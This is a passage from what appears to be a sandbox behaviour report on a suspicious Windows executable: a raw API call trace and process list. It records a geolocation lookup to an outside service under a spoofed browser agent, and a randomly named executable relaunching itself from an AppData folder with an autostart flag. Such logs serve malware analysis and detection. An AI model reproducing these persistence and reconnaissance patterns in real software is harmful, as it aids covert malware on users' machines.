¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0055.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f0c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x8c\xec\xbe\xcc\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0055.852] GetLastError () returned 0x0 [0055.853] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.853] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18e908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0055.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18efc0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x8c\xec\xbe\xcc\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0055.853] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x66f838 [0055.853] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40c304 [0055.853] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.853] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.854] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.854] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x110) returned 0x670040 [0055.854] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x66dc18 [0055.854] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.854] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.855] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.855] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66f588) returned 0x80 [0055.855] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0055.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x663e00 [0055.913] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) Thread: id = 88 os_tid = 0x414 Thread: id = 89 os_tid = 0x7a4 Thread: id = 90 os_tid = 0x2c8 Thread: id = 91 os_tid = 0x39c Thread: id = 92 os_tid = 0x128 Thread: id = 93 os_tid = 0x7b0 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x714" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 50 os_tid = 0x2b4 Thread: id = 51 os_tid = 0x7f8 Thread: id = 52 os_tid = 0x430 Thread: id = 53 os_tid = 0x268 Thread: id = 54 os_tid = 0x768 Thread: id = 55 os_tid = 0x764 Thread: id = 56 os_tid = 0x760 Thread: id = 57 os_tid = 0x75c Thread: id = 58 os_tid = 0x70c Thread: id = 59 os_tid = 0x6e8 Thread: id = 60 os_tid = 0x6d8 Thread: id = 61 os_tid = 0x6d4 Thread: id = 62 os_tid = 0x6c8 Thread: id = 63 os_tid = 0x6c0 Thread: id = 64 os_tid = 0x6b8 Thread: id = 65 os_tid = 0x6a4 Thread: id = 66 os_tid = 0x6a0 Thread: id = 67 os_tid = 0x690 Thread: id = 68 os_tid = 0x67c Thread: id = 69 os_tid = 0x490 Thread: id = 70 os_tid = 0x454 Thread: id = 71 os_tid = 0x450 Thread: id = 72 os_tid = 0x428 Thread: id = 73 os_tid = 0x424 Thread: id = 74 os_tid = 0x420 Thread: id = 75 os_tid = 0x404 Thread: id = 76 os_tid = 0x18c Thread: id = 77 os_tid = 0xf0 Thread: id = 78 os_tid = 0xc8 Thread: id = 79 os_tid = 0x3f0 Thread: id = 80 os_tid = 0x3e4 Thread: id = 81 os_tid = 0x398 Thread: id = 82 os_tid = 0x394 Thread: id = 83 os_tid = 0x390 Thread: id = 84 os_tid = 0x38c Thread: id = 85 os_tid = 0x378 Thread: id = 86 os_tid = 0x370 Thread: id = 94 os_tid = 0x7bc Thread: id = 95 os_tid = 0x7a0 Thread: id = 96 os_tid = 0x178 Thread: id = 97 os_tid = 0x64 Thread: id = 98 os_tid = 0x330 Thread: id = 99 os_tid = 0x7e4 Thread: id = 100 os_tid = 0x804 Thread: id = 101 os_tid = 0x808 Thread: id = 102 os_tid = 0x80c Thread: id = 103 os_tid = 0x810 Thread: id = 104 os_tid = 0x818 Thread: id = 105 os_tid = 0x81c Thread: id = 132 os_tid = 0x8e0 Thread: id = 133 os_tid = 0x8f0 Thread: id = 134 os_tid = 0x8f4 Thread: id = 135 os_tid = 0x8f8 Thread: id = 136 os_tid = 0x900 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 107 os_tid = 0x790 Thread: id = 108 os_tid = 0x3a0 Thread: id = 109 os_tid = 0x658 Thread: id = 110 os_tid = 0x584 Thread: id = 111 os_tid = 0x750 Thread: id = 112 os_tid = 0x730 Thread: id = 113 os_tid = 0x728 Thread: id = 114 os_tid = 0x674 Thread: id = 115 os_tid = 0x65c Thread: id = 116 os_tid = 0x144 Thread: id = 117 os_tid = 0x118 Thread: id = 118 os_tid = 0x3ec Thread: id = 119 os_tid = 0x3e8 Thread: id = 120 os_tid = 0x3e0 Thread: id = 121 os_tid = 0x3dc Thread: id = 122 os_tid = 0x3cc Thread: id = 123 os_tid = 0x3c8 Thread: id = 124 os_tid = 0x388 Thread: id = 125 os_tid = 0x384 Thread: id = 126 os_tid = 0x380 Thread: id = 127 os_tid = 0x37c Thread: id = 128 os_tid = 0x364 Thread: id = 129 os_tid = 0x360 Thread: id = 130 os_tid = 0x34c Thread: id = 131 os_tid = 0x338 Thread: id = 137 os_tid = 0x914 Process: id = "10" image_name = "370e.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe" page_root = "0x7984d000" os_pid = "0x56c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e0bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 139 os_tid = 0x570 [0093.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xf12cb040, dwHighDateTime=0x1d52ab3)) [0093.537] GetCurrentThreadId () returned 0x570 [0093.537] GetCurrentProcessId () returned 0x56c [0093.537] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=6089442148) returned 1 [0095.641] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7782fd35, hStdError=0x77897daf)) [0095.641] GetProcessHeap () returned 0x5e0000 [0095.642] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x764a0000 [0095.642] GetProcAddress (hModule=0x764a0000, lpProcName="FlsAlloc") returned 0x764b4f2b [0095.642] GetProcAddress (hModule=0x764a0000, lpProcName="FlsFree") returned 0x764b359f [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="FlsGetValue") returned 0x764b1252 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="FlsSetValue") returned 0x764b4208 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="InitializeCriticalSectionEx") returned 0x764b4d28 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="CreateEventExW") returned 0x7653410b [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="CreateSemaphoreExW") returned 0x76534195 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="SetThreadStackGuarantee") returned 0x764bd31f [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="CreateThreadpoolTimer") returned 0x764cee7e [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="SetThreadpoolTimer") returned 0x7785441c [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7787c50e [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="CloseThreadpoolTimer") returned 0x7787c381 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="CreateThreadpoolWait") returned 0x764cf088 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="SetThreadpoolWait") returned 0x778605d7 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="CloseThreadpoolWait") returned 0x7787ca24 [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="FlushProcessWriteBuffers") returned 0x77830b8c [0095.643] GetProcAddress (hModule=0x764a0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x778efde8 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentProcessorNumber") returned 0x77881e1d [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetLogicalProcessorInformation") returned 0x76534761 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="CreateSymbolicLinkW") returned 0x7652cd11 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="EnumSystemLocalesEx") returned 0x7653424f [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="CompareStringEx") returned 0x765346b1 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetDateFormatEx") returned 0x76546676 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetLocaleInfoEx") returned 0x76534751 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetTimeFormatEx") returned 0x765465f1 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetUserDefaultLocaleName") returned 0x765347c1 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="IsValidLocaleName") returned 0x765347e1 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="LCMapStringEx") returned 0x765347f1 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentPackageId") returned 0x0 [0095.644] GetProcAddress (hModule=0x764a0000, lpProcName="GetTickCount64") returned 0x764ceee0 [0095.645] GetProcAddress (hModule=0x764a0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0095.645] GetProcAddress (hModule=0x764a0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0095.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3bc) returned 0x5f1e88 [0095.645] GetCurrentThreadId () returned 0x570 [0095.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x5f0a20 [0095.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x5f2250 [0095.645] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS 